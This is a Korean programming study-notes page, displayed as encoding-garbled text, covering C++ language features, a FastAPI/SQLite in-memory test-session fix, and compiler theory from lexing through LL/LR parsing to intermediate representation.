๋ณ์ compile time ์์์๋ง ์ฌ์ฉ ๊ฐ๋ฅ 1constexpr int num1 = 10; 2 3int a = 20; 4constexpr int num2 = a; // error: ๋ณ์ a๋ runtime์ ๊ฒฐ์ ๋๋ฏ๋ก ์ฌ์ฉ ๋ถ๊ฐ ํจ์ ํจ์๊ฐ compile time์ ์คํ๋๋๋ก ๋ณด์ฅ ์ธ์ ๊ฐ์ด compile time ์์์ธ ๊ฒฝ์ฐ -> constexpr ํจ์๋ก ๋์ ์ธ์ ๊ฐ์ด compile time ์์๊ฐ ์๋ ๊ฒฝ์ฐ -> constexpr ํจ์๋ก ๋์ body์์ ๋ถ๊ฐ๋ฅํ ๊ตฌ๋ฌธ goto try-catch ์ด๊ธฐํ ์ํ์ด ์๋ ๋ณ์ ์ ์ธ ๋ฆฌํฐ๋ด ํ์
์ด ์๋ ๋ณ์ ์ ์ธ static ๋ณ์ ์ ์ธ tls(thread local storage) ๋ณ์ ์ ์ธ ๋ฑ… 1constexpr int fibonacci(const int n) { 2 if (n <= 1) return n; 3 return fibonacci(n - 1) + fibonacci(n - 2); 4} 5fibonacci(10); // compile time์ ๋ค ๊ณ์ฐ๋์ด์ 55๋ก ๋์ฒด๋จ lvalue, rvalue ์ฐธ์กฐ lvalue ๊ฐ์ฒด๋ฅผ ๊ฐ๋ฆฌํค๋ ๋ฉ๋ชจ๋ฆฌ ์์น๋ฅผ ๋ํ๋ด๋ ํํ์
lvalue ์ฐธ์กฐ 1int b = 10; 2int& a = b; // a๋ b์ ์ฐธ์กฐ์ (lvalue ์ฐธ์กฐ) 3a = 20; ๋ฉค๋ฒ ํจ์์์์ ์ฌ์ฉ ์์ 1class MyClass { 2public: 3 void show() & { 4 std::cout << "lvalue function called (object is lvalue)" << std::endl; 5 } 6}; 7 8MyClass obj; 9obj.show(); // lvalue ๊ฐ์ฒด์์ ํธ์ถ rvalue ๋ฉ๋ชจ๋ฆฌ์ ์์น์ ํ ๋น๋ ๊ฐ์ ๋ํ๋ด๋ ํํ์
์ฃผ์๊ฐ ์๊ฑฐ๋, ์์๋ก ํ ๋น๋ ๊ฐ
์ฃผ๋ก ํํ์์ด๋ ํจ์์ ๋ฐํ๊ฐ์ด๋ค.
move semnatics๋ฅผ ์ฌ์ฉํ์ฌ ์์์ ํจ์จ์ ์ผ๋ก ์ด๋์ํค๋๋ฐ ์ฌ์ฉํ๋ค.
rvalue ์ฐธ์กฐ (~C++11)
1int&& a = 10; 2 3void show() && { 4 std::cout << "rvalue function called (object is rvalue)" << std::endl; 5} ๋ฉค๋ฒ ํจ์์์์ ์ฌ์ฉ ์์ 1class MyClass { 2public: 3 void show() && { // rvalue์์๋ง ํธ์ถ ๊ฐ๋ฅ 4 std::cout << "rvalue function called (object is rvalue)" << std::endl; 5 } 6}; 7 8MyClass().show(); // rvalue ๊ฐ์ฒด์์ ํธ์ถ ๊ฐ์ํจ์ ์์ ๊ด๊ณ์์ ๋์ ๋ฐ์ธ๋ฉ์ ์ํด ์ฌ์ฉ
๊ฐ์ ํจ์๋ฅผ ๊ฐ์ง ํด๋์ค๋ฅผ ๋คํ์ฑ ํด๋์ค(polymorphic class)๋ผ๊ณ ํจ ์์ ๊ฐ์ ํจ์๋ฅผ ๊ฐ์ง ํด๋์ค๋ฅผ ์ถ์ ํด๋์ค(abstract class)๋ผ๊ณ ํจ virtual ์ง์ ์ ๊ฐ์ ํจ์ : ์ค๋ฒ๋ผ์ด๋ฉ์ด ์ ํ์ ์ ์์ ๊ฐ์ ํจ์ : ์ค๋ฒ๋ผ์ด๋ฉ์ด ํ์์ 1class Base { 2public: 3 // ๊ฐ์ํจ์ 4 virtual void show() { 5 std::cout << "Base::show()" << std::endl; 6 } 7 8 // ์์ ๊ฐ์ํจ์ 9 virtual void print() = 0; 10}; override ์ง์ ์ ์ค๋ฒ๋ผ์ด๋ฉ์ ๋ช
์์ ์ผ๋ก ํ์
1class Derived : public Base { 2public: 3 void show() override { 4 std::cout << "Derived::show()" << std::endl; 5 } 6}; final ์ง์ ์ ์์์ ๋ฐฉ์งํ๋ ํค์๋
ํด๋์ค์ ์ฌ์ฉ : ์์์ ๋ฐฉ์ง ํจ์์ ์ฌ์ฉ : ์ค๋ฒ๋ผ์ด๋ฉ์ ๋ฐฉ์ง 1// ์์์ ๋ฐฉ์ง 2class Car final { ... }; 3 4// ์์๊ณผ ๊ฐ์ด ์ฐ์ด๋ ๊ฒฝ์ฐ 5class Derived final : public Base { ... }; 6 7class Base { 8public: 9 // ์ค๋ฒ๋ผ์ด๋ฉ์ ๋ฐฉ์ง 10 void show() final { ... } 11}; enum vs enum class enum ๊ธฐ์กด์ C ์คํ์ผ ์ด๊ฑฐํ
์ปดํ์ผ ์์ ์ ์ ์ํ ์์๋ก ๋ณํ -> ์ฑ๋ฅ ์ ํ๊ฐ ์์ ๋ค๋ฅธ enum ์์ญ์ด๋ผ๋ ๋ณ์๋ช
์ด ์ค๋ณต๋๋ฉด ์ถฉ๋ ๋ฐ์ 1enum Color { 2 RED, 3 GREEN, 4 BLUE 5}; 6Color color = RED; enum class (~C++11) enum์ ํ์ฅ๋ ๋ฒ์
๋ฌต์์ ํ๋ณํ์ด ๋ถ๊ฐ๋ฅ -> ๋ช
์์ ํ๋ณํ ํ์ enum ์์ญ์ด ๊ฒฉ๋ฆฌ๋์ด ๋ณ์๋ช
์ด ์ค๋ณต๋์ด๋ ์ถฉ๋์ด ๋ฐ์ํ์ง ์์ 1enum class Color { 2 RED, 3 GREEN, 4 BLUE 5}; 6Color color = Color::RED; explicit ์ง์ ์ ๋จ์ผ ์ธ์ ์์ฑ์์ ์์์ ํ๋ณํ์ ๋ฐฉ์งํ๊ธฐ ์ํด ์ฌ์ฉ
๋จ์ผ ์ธ์ ์์ฑ์ ์์ ์ฌ์ฉ 1class MyClass { 2public: 3 explicit MyClass(int a) : a(a) {} 4} 5 6MyClass obj = 10; // error: ์์์ ํ๋ณํ ๋ถ๊ฐ 7MyClass obj(10); // ok ์จ๊ฒจ์ง friend ํจ์ ํด๋์ค์ private ๋ฉค๋ฒ์ ์ ๊ทผํ ์ ์๋๋ก ํ๋ ํจ์
๋ฉค๋ฒํจ์๊ฐ ์๋์ง๋ง ํด๋์ค์ private ๋ฉค๋ฒ์ ์ ๊ทผํ ์ ์์ ํด๋์ค ๋ด๋ถ์ ์ ์ํด์ผ ํจ ADL๋ก๋ง ํธ์ถ ๊ฐ๋ฅ 1namespace MyMath { 2 class Point { 3 int x, y; 4 5 Point(int x, int y) : x(x), y(y) {} 6 7 friend void operator+(Point& a, Point& b) { 8 a.x += b.x; 9 a.y += b.y; 10 } 11 }; 12} 13int32_t main() { 14 MyMath::Point a(10, 20); 15 MyMath::Point b(30, 40); 16 17 a + b; 18} ADL (Argument Dependent Lookup) ํจ์ ํธ์ถ ์ ์ธ์์ ๋ค์์คํ์ด์ค๋ฅผ ๊ฒ์ํ์ฌ ํจ์๋ฅผ ์ฐพ๋ ๊ฒ
1namespace MyMath { 2 struct Point { 3 int x, y; 4 Point(int x, int y) : x(x), y(y) {} 5 }; 6 7 void operator+(Point& a, Point& b) { 8 a.x += b.x; 9 a.y += b.y; 10 } 11} 12int32_t main() { 13 MyMath::Point a(10, 20); 14 MyMath::Point b(30, 40); 15 16 a + b; // ADL๋ก ์ธํด MyMath::operator+ ํจ์ ํธ์ถ 17 MyMath::operator+(a, b); // ADL์ด ์์๋ค๋ฉด ๋ช
์์ ์ผ๋ก ํธ์ถ 18} std::variant (~C++17) ์ฌ๋ฌ ํ์
์ค ํ๋๋ฅผ ์ ์ฅํ๋ ํด๋์ค
union๊ณผ ๋๊ฐ์ด ๋์ํ์ง๋ง, type-safeํจ 1std::variant<int, double, std::string> value = 1; 2cout << std::get<int>(value) << endl; // 1 3 4value = 3.14; 5cout << std::get<double>(value) << endl; // 3.14 6 7value = "hello"; 8cout << std::get<std::string>(value) << endl; // hello ๋ฉค๋ฒ, ๋น๋ฉค๋ฒ ํจ์ index() : ํ์ฌ ์ ์ฅ๋ ํ์
์ ์ธ๋ฑ์ค๋ฅผ ๋ฐํ holds_alternative<T>() : ํน์ ํ์
์ด ์ ์ฅ๋์ด ์๋์ง ํ์ธ get<T>() : ํน์ ํ์
์ ๊ฐ์ ๋ฐํ (ํ์
์ด ๋ง์ง ์์ผ๋ฉด ์์ธ ๋ฐ์) get_if<T>() : ํน์ ํ์
์ ๊ฐ์ ๋ฐํ (ํ์
์ด ๋ง์ง ์์ผ๋ฉด nullptr ๋ฐํ) visit() : ์ ์ฅ๋ ํ์
์ ๋ชฐ๋ผ๋ ์ฒ๋ฆฌ ๊ฐ๋ฅ 1std::variant<int, double, std::string> value; 2 3value = "hello"; 4value.index(); // 2 (ํ์
์์๋๋ก index ํ์ฑ) 5 6std::holds_alternative<double>(value); // true 7 8value = 1; 9std::get<int>(value); // 1 10std::get_if<int>(&value); // 1 11 12std::visit([](auto& arg) { 13 std::cout << arg << std::endl; 14}, value); ์ํฉ ํ
์ปค ๋ถํธ์บ ํ์์ ํํ๋ก์ ํธ๋ฅผ ์งํ ์ค์ด๋ค. ๋จ์ํ
์คํธ ์ฝ๋๋ ์์ฑ์ด ์๋ฃ๋์๊ณ , ํตํฉํ
์คํธ ์ฝ๋๋ฅผ ์์ฑ ์ค์ด๋ค. sqlite in-memory db๋ฅผ ์ฌ์ฉํด์ ํ
์คํธ ์ค์ธ๋ฐ, ํ
์ด๋ธ์ด ์๋ค๋ ์๋ฌ๊ฐ ๋ฐ์ํ๋ค. ํ
์คํธ ์ ์ ํ
์ด๋ธ์ ์์ฑํ๋ ์ฝ๋๊ฐ ์คํ๋จ์๋ ๋ถ๊ตฌํ๊ณ , ์๋ฌ๊ฐ ๋ฐ์ํ๋ค. ์ธ๋ฉ๋ชจ๋ฆฌ๊ฐ ์๋ ํ์ผ๋ก ์ ์ฅํ๋ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ๋ฉด ์๋ฌ๊ฐ ๋ฐ์ํ์ง ์๋ ๊ฒ์ ๋ณด๊ณ ๋ฌธ์ ์ ์์ธ์ ํ์
ํ ์ ์์๋ค. ์ฝ๋ 1from database import Base, engine 2from fastapi.testclient import TestClient 3 4from main import app 5from models import * 6 7# ํ
์ด๋ธ์ ์์ฑํ๋ ์ฝ๋์ด๋ค 8Base.metadata.create_all(bind=engine) 9 10client = TestClient(app) 11 12 13class TestUserApi: 14 15 def test_create_user(self): 16 test_nickname = "test_nickname" 17 # ์๋ ์์ฒญ์ ์ฒ๋ฆฌํ๋ ์ฝ๋์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค 18 response = client.post( 19 "/api/users", 20 json={"nickname": test_nickname}, 21 ) 22 assert response.status_code == 200 23 assert response.json()["nickname"] == test_nickname ์์ธ ํ
์ด๋ธ์ ์์ฑํ ๋ ๋ง๋ค์ด์ง๋ ์ธ์
๊ณผ TestClient๊ฐ ์์ฒญ์ ์ฒ๋ฆฌํ ๋ ์ฌ์ฉํ๋ ์ธ์
์ด ๋ค๋ฅด๋ค. ํด๊ฒฐ ๋ฐฉ๋ฒ TestClient๋ด์ get_db() ํจ์๋ฅผ ์์๋ก ์ฃผ์
ํ๋ค ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฐ๊ฒฐํ ๋, ๋จ์ผ ์ธ์
์ ์ฌ์ฉํ๋๋ก ํ๋ค. 1from database import Base, engine, get_db 2from sqlalchemy.orm import sessionmaker 3from fastapi.testclient import TestClient 4 5from main import app 6from models import * 7 8Base.metadata.create_all(bind=engine) 9 10client = TestClient(app) 11 12# ํ
์คํธ์์ ์ฌ์ฉํ ์ธ์
์ ์์ฑํ๋ค 13TestingSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine) 14 15 16Base.metadata.create_all(bind=engine) 17 18# get_db() ํจ์๋ฅผ ์ฌ์ ์ํ๋ค 19def override_get_db(): 20 try: 21 db = TestingSessionLocal() 22 yield db 23 finally: 24 db.close() 25 26# get_db() ํจ์๋ฅผ ์ฌ์ ์ํ ํจ์๋ฅผ ์ฃผ์
ํ๋ค 27app.dependency_overrides[get_db] = override_get_db 28 29 30class TestUserApi: 31 32 def test_create_user(self): 33 test_nickname = "test_nickname" 34 response = client.post( 35 "/api/users", 36 json={"nickname": test_nickname}, 37 ) 38 assert response.status_code == 201 39 assert response.json()["nickname"] == test_nickname 1engine = create_engine( 2 os.getenv("DATABASE_URL"), 3 # sqlite๋ฅผ ์ฌ์ฉํ ๋, ์ฌ๋ฌ ์ค๋ ๋์์ ์ฐ๊ฒฐ์ด ๊ฐ๋ฅํ๋๋ก ์ค์ ํ๋ค 4 connect_args={"check_same_thread": False}, 5 # ๋จ์ผ ์ธ์
์ ์ฌ์ฉํ๋๋ก ์ค์ ํ๋ค 6 poolclass=StaticPool, 7) ๊ฐ์ ์ปดํจํฐ์ ์ธ๊ฐ์ด ์ํตํ๋ ๋ฐฉ๋ฒ ์ด์
๋ธ๋ฆฌ์ด ์ด์
๋ธ๋ฆฌ์ด์ ๋ฒ์ญ๊ธฐ๋ ์ด์
๋ธ๋ฌ(Assembler)๋ผ๊ณ ํ๋ค cpu์นฉ์
์ด ๋ฐ๋๋๋ง๋ค ์ด์
๋ธ๋ฆฌ์ด๊ฐ ๋ฐ๋๋ค ๊ณ ๊ธ์ธ์ด ๊ณ ๊ธ์ธ์ด์ ๋ฒ์ญ๊ธฐ๋ ์ปดํ์ผ๋ฌ(Compiler)๋ผ๊ณ ํ๋ค ์ปดํ์ผ๋ฌ์ ์ ํํ ์ ์ ์ด๋ค ์ธ์ด๋ก ์ฐ์ฌ์ง ํ๋ก๊ทธ๋จ์ ๊ฐ์ ์ญํ ์ ๋ค๋ฅธ ์ธ์ด๋ก ๋ฐ๊ฟ์ฃผ๋ ํ๋ก๊ทธ๋จ
1952๋
๊ทธ๋ ์ด์ค ํธํผ(Grace Hopper)๊ฐ UNIVAC์ฉ ํ๋ก๊ทธ๋๋ฐ์ธ์ด A-0 ์ปดํ์ผ๋ฌ๋ฅผ ์ ์ ์ปดํ์ผ๋ฌ vs ์ธํฐํ๋ฆฌํฐ ํ๋ก๊ทธ๋จ ์ฒ๋ฆฌ๊ณผ์ ์ปดํ์ผ๋ฌ์ ์ฒ๋ฆฌ ๊ณผ์ Lexical analysis (์ดํ ๋ถ์) token์ ์์ฑํ๋์ผ, token์ ์ดํ์ ์ต์ ๋จ์ Syntax analysis (๊ตฌ๋ฌธ ๋ถ์) token์ ์ฝ์ด์ ์ค๋ฅ๋ฅผ ๊ฒ์, ๊ตฌ๋ฌธ ๊ตฌ์กฐ๋ฅผ ๋ง๋ ๋ค (์ฃผ๋ก ํธ๋ฆฌํํ) Semantic analysis (์๋ฏธ ๋ถ์) type checking Intermediate code generation (์ค๊ฐ ์ฝ๋ ์์ฑ) ์ค๊ฐ ์ฝ๋๋ก ๋ณํ Code optimization (์ฝ๋ ์ต์ ํ) ์ค๊ฐ ์ฝ๋๋ฅผ ๋ ํจ์จ์ ์ผ๋ก ๋ณํ Code generation (์ฝ๋ ์์ฑ) ๋ชฉ์ ์ฝ๋ ์์ฑ Lexical analysis (์ดํ ๋ถ์) token : ๋ฌธ๋ฒ์ ์ผ๋ก ์๋ฏธ์๋ ์ต์ ๋จ์ FSA (Finite State Automata, ์ ํ ์ํ ์คํ ๋งํ) token์ ์ธ์ํ๋ ๋ฐฉ๋ฒ ์์ ์ํ ํ ๊ฐ์ ๋ ์ํ ์ฌ๋ฌ ๊ฐ๋ฅผ ๊ฐ์ง DFA (Deterministic Finite Automata) FSA์ ํ ์ข
๋ฅ ๊ฐ ์ํ์์ ๋ป์ด๋๊ฐ๋ edge๊ฐ ํ๋์ฉ๋ง ์กด์ฌ ฮต๊ฐ ๋ถ์ edge ์์ ๋ถ์ํ ํ ํฐ์ ํํํ๋ ๋ฐฉ๋ฒ Lexeme = <ํ ํฐ๋ฒํธ, ํ ํฐ ๊ฐ>
์์ if X < Y … (29, 0) (1, X) (18, 0) (1, Y) … ์๋ณ์์ ํ ํฐ๋ฒํธ๋ 1๋ฒ, ์์๋ 2๋ฒ ๋ฑ์ผ๋ก ๊ณ ์ Syntax analysis (๊ตฌ๋ฌธ ๋ถ์) token์ ์ฝ์ด์ ์ค๋ฅ๋ฅผ ๊ฒ์, parse tree๋ฅผ ๋ง๋ ๋ค CFG (Context Free Grammer) ๊ตฌ๋ฌธ์ ํํํ๋ ๋ฐฉ๋ฒ G = (N, T, P, S) N = nonterminal symbol ์ํ๋ฒณ ๋๋ฌธ์๋ก ํํ T = terminal symbol (token) ์ํ๋ฒณ ์๋ฌธ์+์ซ์, ์ฐ์ฐ์, ๊ตฌ๋ถ์, ํค์๋ ๋ฑ P = production rule ์) S -> T+T, T -> ‘0’|‘1’|‘2’ S = start symbol L(G) : ์ด ๋ฌธ๋ฒ์ผ๋ก ์์ฑ๋๋ ์ธ์ด ์ฌ๋ฌ๊ฐ์ง CFG ํํ๋ฒ BNF (Backus-Naur Form) EBNF (Extended BNF) ์ ๋ (derivation) ์์ฑ ๊ท์น๋ฅผ ์ ์ฉํ์ฌ ๋ฌธ์ฅ์ ์์ฑํ๋ ๊ณผ์ ์ ๋๋ฅผ ํ๋ ๊ณผ์ ์์ ํ๋์ฉ ๊ณจ๋ผ์ ๋ฐ๊ฟ ์ ๋ ํธ๋ฆฌ : ์ ๋ ๊ฒฝ๋ก๋ฅผ ์ถ์ํ ์์ผ ํํํ ๊ฒ ์ข์ธก ์ ๋(leftmost derivation) ๊ฐ์ฅ ์ผ์ชฝ์ ์๋ nonterminal์ ๋จผ์ ๋์น ์ฐ์ธก ์ ๋(rightmost derivation) ๊ฐ์ฅ ์ค๋ฅธ์ชฝ์ ์๋ nonterminal์ ๋จผ์ ๋์น ๋ชจํธ์ฑ (ambiguity) ๋ฌธ๋ฒ G์ ์ํด ์์ฑ๋๋ ์ด๋ค ๋ฌธ์ฅ์ด ๋๊ฐ ์ด์์ ์ ๋ํธ๋ฆฌ๋ฅผ ๊ฐ๋๋ค๋ฉด ๋ฌธ๋ฒ G๋ ๋ชจํธํ๋ค๊ณ ํ๋ค ๋ชจํธํ์ง ์์ ๋ฌธ๋ฒ์ ์ข์ธก ์ ๋์ ์ฐ์ธก ์ ๋๊ฐ ๊ฐ๋ค ๋ชจํธ์ฑ ํด๊ฒฐ ์ฐ์ฐ์ ์ฐ์ ์์ ๋์
๊ฒฐํฉ ๋ฒ์น ๋์
Left Recursion์ ์ข์ธก ๊ฒฐํฉ์ ์ฌ์ฉ ex) A -> A+a | a Right Recursion์ ์ฐ์ธก ๊ฒฐํฉ์ ์ฌ์ฉ ex) A -> a+A | a ๊ตฌ๋ฌธ ๋ถ์์ 2๊ฐ์ง ๋ฐฉ์ top-down, bottom-up Top-down parsing Top-down ๋ฐฉ์ ์ข์ธก ์ ๋์ ๊ฐ์ ์์ ์ ์์ฑ ๊ท์น ์ ์ฉ backtracking : ์ ๋๋ ๋ฌธ์์ด๊ณผ ์
๋ ฅ ๋ฌธ์์ด์ด ๊ฐ์ง ์์ผ๋ฉด ๋ค๋ฅธ ์์ฑ๊ท์น ์ ์ฉ Bottom-up ๋ฐฉ์ ์ฐ์ธก ์ ๋์ ์ญ์์ ์์ฑ ๊ท์น ์ ์ฉ LL ํ์ฑ ์ผ์ชฝ->์ค๋ฅธ์ชฝ์ผ๋ก ์ฝ์ด์ ์ขํ์ค ์์ฑ backtracking X, ๋น ๋ฅด๋ค ๊ฒฐ์ ์ ์ผ๋ก ํ์ฑ ์ฌ์ฉ๋ ์ ์ ฮต-์์ฑ๊ท์น
Nonterminal A๊ฐ ฮต๋ฅผ ์ ๋ํ ์ ์์ผ๋ฉด A๋ฅผ nullableํ๋ค๊ณ ๋ถ๋ฅธ๋ค lhs, rhs
A->XXX์์ lhs๋ A, rhs๋ XXX โ (Ring Sum)
A์ ฮต๊ฐ ์์ผ๋ฉด, AโB = (A์์ ฮต๋นผ๊ณ A ํฉ์งํฉ B) A์ ฮต๊ฐ ์์ผ๋ฉด, AโB = A First nonterminal A๋ก ๋ถํฐ ์ ๋๋์ด ์ฒซ๋ฒ์งธ๋ก ๋ํ๋ ์ ์๋ terminal์ ์งํฉ X->Y1Y2Y3์ผ๋, FIRST(X) = FIRST(X) U FIRST(Y1) โ FIRST(Y2) โ FIRST(Y3)
Follow A ๋ค์์ ๋์ค๋ terminal์ ์งํฉ A->ฮฑBฮฒ, ฮฒ != ฮต ์ผ๋, FOLLOW(B) = FOLLOW(B) U (FIRST(ฮฒ)-{ฮต})
A->ฮฑB ๋๋ A->ฮฑBฮฒ, FIRST(ฮฒ)์ ฮต๊ฐ ์ํ ๋, FOLLOW(B) = FOLLOW(B) U FOLLOW(A)
LL์กฐ๊ฑด FIRST(ฮฑ)์ FIRST(ฮฒ)๊ฐ ๊ฒน์น๋ฉด ์๋๋ค FIRST(ฮฑ)์ ฮต๊ฐ ์์ผ๋ฉด, FOLLOW(ฮฑ)์ FIRST(ฮฒ)๊ฐ ๊ฒน์น๋ฉด ์๋๋ค LL ์กฐ๊ฑด์ ๋ง์กฑํ๋ ๋ฌธ๋ฒ = LL ํ์ฑ ๋๋ ๋ฌธ๋ฒ LL(1) ๋ฌธ๋ฒ ์์์ ๋ฌธ๋ฒ์ ๋ํ์ฌ LL ์กฐ๊ฑด์ ๋ง์กฑํ๋ CFG 1 : LOOKAHEAD๊ฐ 1๊ฐ๋ผ๋ ์๋ฏธ ๋ค์๊ณผ ๊ฐ์ ๊ฒฝ์ฐ LL(1)๋ฌธ๋ฒ์ด ๋์ง ์๋๋ค ๋ชจํธํ ๋ฌธ๋ฒ ์ฐ์ ์์ ์ฃผ๊ธฐ, ๊ฒฐํฉ๋ฒ์น ๋ฐ์์ผ๋ก ํด๊ฒฐ left-factoring์ด ๋๋ ๊ฒฝ์ฐ ๊ณตํต ์๋ถ๋ถ์ ์๋ก์ด nonterminal๋ก ๋ง๋ค์ด ํด๊ฒฐ left-recursiveํ ๊ฒฝ์ฐ ์ง์ recursion : A -> Aฮต ์ธ๊ฒฝ์ฐ ๊ฐ์ recursion : A -> B, B -> A ์ธ๊ฒฝ์ฐ LOOKAHEAD ์ด๋ค ๊ท์น์ด ์ ์ฉ๋์์๋ ๋งจ ์ฒ์ ๋์ฌ ์ ์๋ terminal ์งํฉ A->X1X2X3์ผ๋, LOOKAHEAD(A) = FIRST(X1) โ FIRST(X2) … โ FOLLOW(A)
Strong LL(1) LL(1)๊ณผ ํญ์ ๋์ผ (1์ด ์๋๋๋ ๋ค๋ฆ) LOOKAHEAD(A->ฮฑ)์ LOOKAHEAD(A->ฮฒ)๊ฐ ๊ฒน์น์ง ์๋ ๋ฌธ๋ฒ LL(1) ํ์ ๊ตฌํ ๋ฐฉ๋ฒ Recursive descent parser ์ฅ์ : ์ง๊ด์ ์ฝ๋ค ๋จ์ : ์์ฑ ๊ท์น์ด ๋ฐ๋๋ฉด ๊ตฌ๋ฌธ ๋ถ์๊ธฐ๋ฅผ ๊ณ ์ณ์ผ ํ๋ค Predictive parser PDA(PushDown Automata)์ ๊ธฐ๋ฐ
์์ฑ ๊ท์น์ด ๋ฐ๋๋ฉด ํ์ฑ ํ
์ด๋ธ๋ง ์์
ํ์ฑํ
์ด๋ธ ์์ (?์๋ ๊ท์น๋ฒํธ๊ฐ ๋ค์ด๊ฐ๋ค)
a b S ? ? A ? ? ํ์ฑํ
์ด๋ธ์ ๋๊ฐ ์ด์์ ์์ฑ ๊ท์น์ด ๋ค์ด๊ฐ๋ ๊ฒฝ์ฐ -> NOT LL(1)
Stack์ ์์ Bottom-up parsing left-recursive ๋ฌธ๋ฒ๋ ํ์ฑ ๊ฐ๋ฅ LL(k) ์ข์ธก์ ๋ ๊ธฐ๋ฐ k๊ฐ์ symbol์ lookahead Top-down parsing, recursive descent parsing, predictive parsing, LL parser ํ์คํธ๋ฆฌ๋ฅผ pre-roder๋ก ์ํ ๋ฐ ์์ฑ LR(k) ์ฐ์ธก์ ๋ ๊ธฐ๋ฐ k๊ฐ์ symbol์ lookahead Bottom-up parsing, shift-reduce parsing, LR parser ํ์คํธ๋ฆฌ๋ฅผ post-order๋ก ์ํ ๋ฐ ์์ฑ Reduce S=>ฮฑฮฒฯ์ด๊ณ A->ฮฒ์ด๋ฉด ฮฒ๋ฅผ A๋ก ๋์นํ๋ ๊ฒ : S=>ฮฑAฯ ์์ symbol์ด ๋์ฌ ๋๊น์ง reduce ํ๋ค Handle S=>ฮฑฮฒฯ์ด๊ณ A->ฮฒ์ด๋ฉด ฮฒ๋ฅผ ฮฑฮฒฯ์ handle์ด๋ผ๊ณ ํ๋ค ๋ ๊ฐ ์ด์์ handle์ด ์กด์ฌํ ๋ -> ๋ชจํธํ๋ค Shift์ Reduce๋ก Parsing ํ๊ธฐ Stack์ ์์ Issue Shift์ Reduce ์ค ์ด๋ ๊ฒ์ ํ ๊น? Stack์ top์์ ์ผ๋ง๋งํผ์ handle๋ก ๋ณผ ๊ฒ์ธ๊ฐ? ํด๊ฒฐ๋ฐฉ๋ฒ: LR Parsing Table YACC LALR ํ์ ์์ฑ๊ธฐ foo.y –(yacc)–> y.tab.c –(gcc)–> a.out *.y ํ์ผ ๊ตฌ์กฐ 1<์ ์ธ๋ถ> 2... 3%% 4... 5exp : exp '+' term; 6factor : ident; 7... 8%% 9<์ฌ๋ฌ ํจ์> ๋ชจํธํ ๋ฌธ๋ฒ์ผ๋ก LR Conflict ๋ฐ์ ์ ์ ์ธ๋ถ์์ ์ฐ์ ์์ ์ง์ ํ์ฌ ํด๊ฒฐ LR Parsing Table Action table : Action + Parser ์ํ Goto table : Parser ์ํ LR(0) ํ์ฑ ํ
์ด๋ธ ๋ง๋ค๊ธฐ LR(0) ์์ดํ
rhs์ ์ (’.’) symbol์ ๊ฐ์ง ์์ฑ ๊ท์น ex) A->ฮฑ.ฮฒ, A->. closure ์ (’.’)๋ค์ non-terminal์ด ์ค๋ฉด ์ฌ๊ท์ ์ผ๋ก ์ถ๊ฐ S’ -> S, S -> (L)|id, L -> S | L,S closure({[S’->.S]}) = {[S’->.S], [S->.(L)], [S->.id]} goto goto(I, X)์ด๋ฉด ์ ์ X๋ค๋ก ์ฎ๊ธฐ๊ณ closure๋ฅผ ์ทจํ๋ค X๊ฐ ์์ผ๋ฉด ๋ฃ์ง ์๋๋ค I={[G->E=E], [E->E.+T]} ์ผ๋, goto(I, +) = closure({E->E+.T}) : ์ ์ +๋ค๋ก ์ฎ๊น C0 ์์ฑ๊ท์น S’->S์์๋ถํฐ ์ฐจ๋ก๋ก closure์ goto๋ฅผ ์ ์ฉํ์ฌ ์ป์ ๋ชจ๋ ํ๋นํ LR(0)์ ์์ดํ
์งํฉ๋ค
Item์ ์ข
๋ฅ
[A->X.Y] : X!=ฮต์ผ๋ kernel item [A->.X] : closure item [A->X.] : reduce item SLR ํ์ฑ ํ
์ด๋ธ ๋ง๋ค๊ธฐ reduce Item์ด [X->ฮฑ.]์ผ๋, FOLLOW(X)์ ๋ชจ๋ terminal์๋ง reduce action์ ๋ฃ๋๋ค ๋๋จธ์ง๋ LR(0)๊ณผ ๋๊ฐ๋ค LR(0)๋ณด๋ค conflict๊ฐ ์ ์ด, ๋ ์ ๊ตํ๋ค๊ณ ํ ์ ์๋ค. LALR Parsing ์ ๊ตํ ์์ LR(0) < SLR < LALR(1) < LR(1)
ํ์ ์ํ์ ๊ฐ์ SLR = LALR « LR(1)
SDD, AST SDD (Syntax Directed Definition) SDD : semnatic action์ ์ ์ํ๋ ์ถ์์ ์ธ ๋ช
์ธ์ Semnatic Actions : ๊ท์น์ ๋ํ Action Yacc/Bison : $$, $1, $2, ... ์ฌ์ฉ ANTLR : $<name> ์ฌ์ฉ Type declaration Attribute ์ข
๋ฅ synthesized attr. : children์ ์ํด ๊ณ์ฐ (terminal) inherited attr. : parent, sibling์ ์ํด ๊ณ์ฐ AST (Abstract Syntax Tree) ํ์คํธ๋ฆฌ์์ ๋ถํ์ํ ์ ๋ณด๋ฅผ ์ ๊ฑฐํ ํํ AST๋ฅผ ๋ง๋๋ ๋ฐฉ๋ฒ ํ์ฑ๋จ๊ณ์์ ๋ง๋ค๊ธฐ : LL, LR ํ์คํธ๋ฆฌ๋ฅผ ์ํํ๋ฉด์ ๋ง๋ค๊ธฐ : SDD ์ฌ์ฉ (Yacc etc.) evaluation : ๋
ธ๋๋ฅผ ๋ฐฉ๋ฌธํ๋ฉด์ ์์
ํ๋ ํ์ On-the-fly evaluation S-attributed SDD: synthesized attribute๋ง ๊ฐ์ง๊ณ ์๋ SDD L-attributed SDD: synthesized attribute๋ง ๊ฐ์ง๋ ๊ฒฝ์ฐ + ๊ฐ์ด ์ผ์ชฝ์์ ์ค๋ฅธ์ชฝ์ผ๋ก ํ๋ฌ ๊ณ์ฐ์ด ์ด๋ฃจ์ด์ง๋ ๊ฒฝ์ฐ IR (Intermediate Representation) IR์ด๋? Tree๋ Instruction list ํํ instruction(node)๊ฐ ์ ์ด์ผ ์ต์ ํ/๋ฒ์ญ์ ์ข์ High Level IR High์ Low๋ ์๋์ ์ธ ๊ฐ๋
High level IR: ์ฌ๊ธฐ์๋ AST์ ๋ณํ๋ง ์๊ฐ ์ข
๋ฅ : AST, TCOL Low Level IR ๋จ์ํ instruction์ผ๋ก ๊ตฌ์ฑ ๊ฐ์๊ธฐ๊ณ(์ฃผ๋ก RISC)๋ฅผ emulate N-tuple ํ๊ธฐ๋ฒ (3-address code) a = b OP c
